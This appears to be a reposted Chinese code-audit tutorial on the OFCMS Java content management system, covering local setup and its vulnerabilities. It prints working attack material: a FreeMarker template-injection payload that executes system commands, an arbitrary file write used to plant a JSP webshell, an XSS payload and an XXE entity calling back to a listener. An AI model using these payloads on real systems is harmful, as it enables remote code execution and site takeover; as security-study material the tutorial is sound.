当前位置 : 主页 > 编程语言 > java >

Java代码审计之路一(OFCMS)

来源:互联网 收集:自由互联 发布时间:2023-02-04
开启 Java 审计之路,从最基础的项目开始 文章目录 ​​OFCMS​​ ​​搭建环境​​ ​​漏洞分析​​ ​​模板注入​​ ​​文件上传​​ ​​XSS​​ ​​XXE​​ ​​参考:​​

开启 Java 审计之路,从最基础的项目开始

Java代码审计之路一(OFCMS)_Java

文章目录

  • ​​OFCMS​​
  • ​​搭建环境​​
  • ​​漏洞分析​​
  • ​​模板注入​​
  • ​​文件上传​​
  • ​​XSS​​
  • ​​XXE​​
  • ​​参考:​​

OFCMS

搭建环境

​​下载链接​​

  • 导入项目使用 idea 导入文件,注意这里是导入不是直接打开
  • import project 与 open 的区别: import project:如果项目不是用 idea 开发的,用 import 打开。因为这个情况下,这个项目不是 idea 模型,使用 import 可以避免许多不必要的麻烦。 open:如果项目之前就是 idea 开发的,直接用 open 即可

  • 可以在 idea 开始界面选择 import Project,或者在开启项目的情况下,选择以下路径(新版 idea 已经取消开始界面的导入选项,所以使用第二种方法就好)
  • 选择 maven

    Java代码审计之路一(OFCMS)_Java_02

  • 配置数据库密码新建数据库 ofcms,导入数据库文件,可以使用 navicat 或者 idea 自带的都可以
  • 在 ofcms-admin/src/main/resources/dev/conf/ 文件夹下 db.properties 文件,修改数据库的账号和密码

    Java代码审计之路一(OFCMS)_maven_03

  • 修改根目录 maven 项目依赖即 pom.xml 文件
  • 修改为合适版本,点击 import changes

  • 配置 tomcat 服务
  • 添加 tomcat server local

    Java代码审计之路一(OFCMS)_ide_04

    设置 tomcat 目录

    Java代码审计之路一(OFCMS)_java_05

    点击 deployment

    Java代码审计之路一(OFCMS)_intellij-idea_06

    点击确定修改成功后下边的 appliaction context 就是文件目录,可以自定义修改

    配置成功后在 idea 右上角可以看到程序启动按钮为绿色

    Java代码审计之路一(OFCMS)_ide_07

  • 启动项目访问
  • 站点地址:http://localhost:8080/ofcms-admin/

    后台地址: http://localhost:8080/ofcms-admin/admin/login.html

    账密:admin/123456

    这是手动部署的方式,也可以选择下载 war 包以安装方式部署

    为了方便调试代码,可以使用 SQL 监控工具查看数据库具体执行语句

    推荐两个工具:

    • ​​Java版​​
    • ​​PHP版​​

    漏洞分析

    拿到一个 Java 系统后首先分辨是 普通 servlet 还是 ssh/ssm 框架是否使用 maven 工程,如果使用的 maven 工程首先看 pom.xml 配置文件去对系统有一个整体的了解

    漏洞位置为:ofcms- admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java

    Java代码审计之路一(OFCMS)_intellij-idea_08

    查看函数 getPara

    Java代码审计之路一(OFCMS)_maven_09

    可以发现这里使用自定义函数 getPara 来接收用户输入的参数,然后使用 updata 方法,进入 updata 方法

    updata 方法是重载的,只需要看红框里的即可

    Java代码审计之路一(OFCMS)_maven_10

    再继续往下跟 MAIN.updata

    Java代码审计之路一(OFCMS)_Java_11

    可以发现输入的数据作为语句进行编译并且在 executeUpdate 处进行了执行

    Java代码审计之路一(OFCMS)_Java_12

    并且进行回显

    Java代码审计之路一(OFCMS)_java_13

    Java代码审计之路一(OFCMS)_Java_14

    有同学可能会感到疑问,这里不是用了预编译,不是预编译可以防止 SQL 注入么?

    这里确实是用了预编译,但是这里没有正确使用,正确的方法如下

    public void select() { Connection connection = null; PreparedStatement preparedStatement = null; ResultSet rs = null; String sql = "select * from user limit 0,1"; try { //获取数据连接 connection = basicUse.getConnection(); //获取发送sql指令执行sql对象 preparedStatement = connection.prepareStatement(sql); //返回查询结果集用于保存数据库查询内容 rs = preparedStatement.executeQuery();

    发现漏洞点这里是将用户输入的语句直接编译执行,而不是作为编译的参数,所以语句可以正常执行

    模板注入

    模板注入可以说是 Java 中最常出现的漏洞,像 Struts2 的 OGNL 表达式注入,Spring SPEL 表达式注入,甚至 Log4j 的注入都可以认为是模板注入的范畴

    浏览 pom.xml 的时候发现存在模版引擎 freemarker,该模版是存在模版注入的

    ​​freemarker 模板注入​​

    Java代码审计之路一(OFCMS)_intellij-idea_15

    通过前台首页找到对应的模版

    Java代码审计之路一(OFCMS)_maven_16

    回到系统中找到该模版,然后直接使用 payload 执行系统命令,这里执行的命令是 whoami

    <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }

    Java代码审计之路一(OFCMS)_maven_17

    成功执行命令

    Java代码审计之路一(OFCMS)_java_18

    文件上传

    前台位置

    Java代码审计之路一(OFCMS)_Java_19

    代码位置

    在 com.ofsoft.cms.admin.controller.cms.TemplateController 类的 save 方法中

    Java代码审计之路一(OFCMS)_maven_20

    和模板注入一样,没有对文件名和内容进行过滤,可以通过 …/ 向服务器写任意文件

    尝试写一个 jsp 文件

    Java代码审计之路一(OFCMS)_Java_21

    直接 F12 改这里的 value 就可以修改文件名了,不行的话再用 burp

    在 tomcat 目录下可以发现已经写入成功

    Java代码审计之路一(OFCMS)_java_22

    直接用冰蝎连接

    Java代码审计之路一(OFCMS)_intellij-idea_23

    XSS

    Java代码审计之路一(OFCMS)_java_24

    在 1.1.3 版本中新增文章评论功能,该功能存在 xss

    Java代码审计之路一(OFCMS)_ide_25

    在 save 方法中调用了 getParamsMap 方法,这个方法是用来获取用户提交的所有参数的,获取到所有参数后就调用​​Db.update()​​方法将数据更新到数据库中,这里是没有进行过滤

    抓取用户评论的请求数据包,修改 comment_content 内容为 xss payload:​​<script>alert(1)</script>​​,提交数据包

    XXE

    在 com.ofsoft.cms.admin.controller.ReprotAction 类的 expReport 方法中,通过 get 参数接收 j,并且没有过滤,底下还进行了拼接,可以通过传入 …/ 来控制路径,后边调用了 compileReport 函数

    Java代码审计之路一(OFCMS)_java_26

    Java代码审计之路一(OFCMS)_Java_27

    在 compileReport 方法中又调用了​​JRXmlLoader.load()​​方法,继续跟踪

    Java代码审计之路一(OFCMS)_java_28

    在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档内容,默认是没有禁用外部实体解析的,所以这里是存在XXE漏洞的

    Java代码审计之路一(OFCMS)_java_29

    因为在一开始路径拼接了 jrxml,所以说要利用的话也用这个文件,可以先生成一个文件,文件内容如下

    <!DOCTYPE foo <!ENTITY % xxe SYSTEM "http://127.0.0.1:7777"> %xxe; ]>

    Java代码审计之路一(OFCMS)_intellij-idea_30

    http://localhost:8080/ofcms_admin/admin/reprot/expReport.html?j=../../static/payload

    使用 python 启动一个简单的服务器,访问 url 即可收到请求

    Java代码审计之路一(OFCMS)_Java_31

    参考:

    ​​P神代码审计​​​​记又一次Java代码审计​​

    Java代码审计之路一(OFCMS)_ide_32

    网友评论